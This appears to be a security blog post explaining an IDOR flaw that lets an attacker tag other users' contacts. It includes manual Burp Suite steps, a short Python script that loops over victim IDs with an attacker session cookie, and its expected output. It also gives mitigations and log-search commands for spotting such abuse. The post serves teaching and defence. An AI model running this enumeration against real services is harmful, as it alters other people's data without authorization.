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Insecure Direct Object Reference (IDOR) is a common web vulnerability that allows attackers to bypass authorization and access resources directly by modifying parameters. In this case, the bug enables an attacker to add tags to victim contacts without proper validation.
You Should Know:
1. Understanding IDOR
IDOR occurs when an application exposes internal object references (e.g., database keys, filenames) without proper access control. Attackers manipulate these references to perform unauthorized actions.
2. Exploiting the Bug
Suppose a web application has an endpoint like:
POST /api/contacts/{contact_id}/add_tag
An attacker can change `{contact_id}` to any victim’s ID and add malicious tags.
3. Manual Exploitation Steps
- Intercept the Request: Use Burp Suite or OWASP ZAP to capture the legitimate request.
- Modify Parameters: Change the `contact_id` to another user’s ID.
- Replay the Request: Observe if the tag is added to the victim’s contact.
4. Automated Exploitation with Python
import requests
target_url = "https://example.com/api/contacts/{contact_id}/add_tag"
attacker_session = requests.Session()
attacker_session.cookies.update({"session_token": "ATTACKER_SESSION_COOKIE"})
for victim_id in range(1000, 1005):
response = attacker_session.post(
target_url.format(contact_id=victim_id),
data={"tag": "malicious_tag"}
)
if response.status_code == 200:
print(f"[+] Successfully tagged victim ID: {victim_id}")
5. Mitigation Techniques
- Implement Proper Access Control: Verify user permissions before processing requests.
- Use Indirect References: Replace direct IDs with UUIDs or hashed values.
- Rate Limiting & Logging: Monitor suspicious activity.
6. Linux Command for Log Analysis
grep "POST /api/contacts/" /var/log/nginx/access.log | awk '{print $1, $7}' | sort | uniq -c
7. Windows Command for Network Monitoring
Get-WinEvent -LogName "Microsoft-Windows-HttpService/Operational" | Where-Object { $_.Message -like "add_tag" }
What Undercode Say:
IDOR remains a critical flaw in many web applications due to poor authorization checks. Developers must enforce strict access controls, while penetration testers should actively test for such vulnerabilities. Automated scanning tools like Burp Suite Pro and OWASP ZAP can help detect IDOR early.
Prediction:
As APIs become more prevalent, IDOR attacks will rise unless proper security measures are enforced. Future exploits may leverage AI to automate mass IDOR attacks.
Expected Output:
[+] Successfully tagged victim ID: 1000 [+] Successfully tagged victim ID: 1001 [+] Successfully tagged victim ID: 1002
Relevant URLs:
References:
Reported By: Amit Khandebharad – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
